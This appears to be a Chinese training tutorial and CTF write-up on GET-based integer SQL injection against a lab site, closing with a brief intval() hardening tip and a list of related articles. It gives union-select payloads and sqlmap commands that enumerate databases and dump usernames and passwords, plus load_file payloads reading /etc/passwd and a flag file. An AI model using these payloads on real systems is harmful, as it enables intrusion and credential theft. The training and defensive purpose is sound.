某行业攻防培训-----sql注入(get注入)
0x01:写在前面:
一、手工注入
1.判断注入类型
①访问一个网站:39.104.86.227:10000/index.php?id=1
②判断是否为整形注入:
?id=1 and 1=1
?id=1 and 1=2
//注意:若输入的结果不同,则为整型注入
//and 1=1 是一个逻辑判断语句(用来判断是否使and之前的语句生效),因为1=1恒成立,所以前面的?id=1生效(实质上就是执行id = 1 and 1=1)
//and 1=2 是一个逻辑判断语句(用来判断是否使and之前的语句生效),因为1=2恒不成立,所以前面的?id=1不生效(实质上就是执行id = 1 and 1=2)
?id=1 and 1=1
?id=1 and 1=2
2.用order by n 进行测试字段(二分法)
①测试有几个字段
?id=1 order by 5
?id=1 order by 3
?id=1 order by 4
3.用union select 联合查询
①测试哪些字段有数据,是可用的
②问什么是id=-1呢?
因为,若id为1,2,3,4其中一个,那么就回显他们的参数
若为不是其中一个,就可以显示所有的,-1肯定不是,所以可以用-1
?id=-1 union select 1,2,3,4
③如图所示,第四个无回显,不可用
4.利用version()查看数据库的版本号
?id=-1 union select 1,version(),3,4
5.利用user()查看数据库的用户权限
?id=-1 union select 1,version(),user(),4
5.利用database()查询当前所用的数据库
?id=-1 union select 1,version(),database(),4
6.,查看数据库sqltest里的表
?id=-1 union select 1,version(),group_concat(table_name),4 from information_schema.tables where table_schema='sqltest' #列出所有表
?id=-1 union select 1,version(),table_name,4 from information_schema.tables where table_schema='sqltest' limit 0,1 #查看数据库里的第一个表
?id=-1 union select 1,version(),table_name,4 from information_schema.tables where table_schema='sqltest' limit 1,1 #查看第二个表
7.查看user表内的字段
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'
8.查数据
?id=-1 union select 1,username,password,4 from sqltest.user where id = 1
?id=-1 union select 1,username,password,4 from sqltest.user where id = 2
二、sqlmap注入:
0.查看库里的用户有哪些?
sqlmap -u "http://39.104.86.227:10000/index.php?id=1" --batch --users
1.查看数据库有哪些
sqlmap -u "http://39.104.86.227:10000/index.php?id=1" --batch --dbs
// --dbs 查看数据库
// --batch 默认回车
//如图所示,三张可用库
//information_shcema 默认库
//mysql 默认库
//sqltest 创建的库
2.查询sqltest库中的表
sqlmap -u "http://39.104.86.227:10000/index.php?id=1" --batch -D "sqltest" --tables
//如图所示,两张表
3.查询两个表中的列
sqlmap -u "http://39.104.86.227:10000/index.php?id=1" --batch -D "sqltest" -T "news,users" --columns
4.查询列中字段的内容
sqlmap -u "http://39.104.86.227:10000/index.php?id=1" --batch -D "sqltest" -T "news,users" -C "username,password,id" --dump
0x02:WP
1.输入:
?id=1
结果:报错
所以:不是字符型
2.分别输入:
?id=1 and 1=1
?id=1 and 1=2
结果:
一个回显
一个不回显
//因为1=1时候为真,id=1才传参;而1=2时候为假,id=1不传参
所以:是整形注入
3.联合查询,探测字段长度,有四个
?id=1 order by 10
?id=1 order by 5
?id=1 order by 4
4.联合查询,第4个为空***(注意为id=-1,为了显示所有字段内容)***
?id=-1 union select 1,2,3,4
5.查询服务器版本,用户,等等
?id=-1 union select version(),user(),3,4
6.联合查询,查询mysql服务器的/etc/passwd/
?id=-1 union select load_file("/etc/passwd"),2,3,4
7.联合查询,查询mysql服务器上的flag.txt
?id=-1 union select load_file("/falg.txt"),2,3,4
//假如,跟目录下有一个falg.txt
0x03:服务器上的sql加固方案
针对这种情况,因为我们传入的都是整数,可以用intval()函数进行加密
$id = intval($_GET["id"]);
相关文章
- EntityFramework Core 2.0执行原始查询如何防止SQL注入?
- 渗透测试 ( 6 ) --- SQL 注入神器 sqlmap
- Android进程so注入Hook java方法
- PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况
- 网络安全-联合查询注入
- OpenSSH命令注入漏洞复现(CVE-2020-15778)
- btslab全攻略——注入之sql注入认证
- 漏洞防范:搭建漏洞靶场DVWA,DVWA之SQL注入漏洞,利用sqlmap把复杂的程序自动化
- SQL注入篇——文件读写注入
- SQL注入篇——less21-38最详细教程附带隐藏关卡
- SQL注入篇——一句话木马
- SQL注入篇——盲注
- SQL注入篇——mysql 联合查询注入
- 《WEB安全渗透测试》(4)SQL注入实战:时间盲注
- 《WEB安全漏洞100讲》(第1讲)SQL注入漏洞
- sqli-宽字节注入
- 项目中Spring注入报错小结
- 《Web应用漏洞侦测与防御:揭秘鲜为人知的攻击手段和防御技术》——第 2 章 HTML 注入及跨站脚本攻击
- 聊聊依赖注入注解@Resource和@Autowired
- Spring Boot 注入外部配置到应用内部的静态变量
- sqlmap跑宽字节注入(渗透测试之SQL注入之宽字节注入)
- sql注入原理和防范方法
- 360提供的php防注入代码
- Spring之注入复杂类型属性
- Web安全之SQL注入攻击
- 注意那些容易被忽略的SQL注入技巧
- 【网络安全】面试中常见问题--sql注入篇
- servlet filter中使用autowired无法注入
- C# 依赖注入中的 控制反转(Assembly)实现
- Spring控制反转与依赖注入(IOC、DI)
- 米酷影视 MKCMS5.0 前台SQL注入漏洞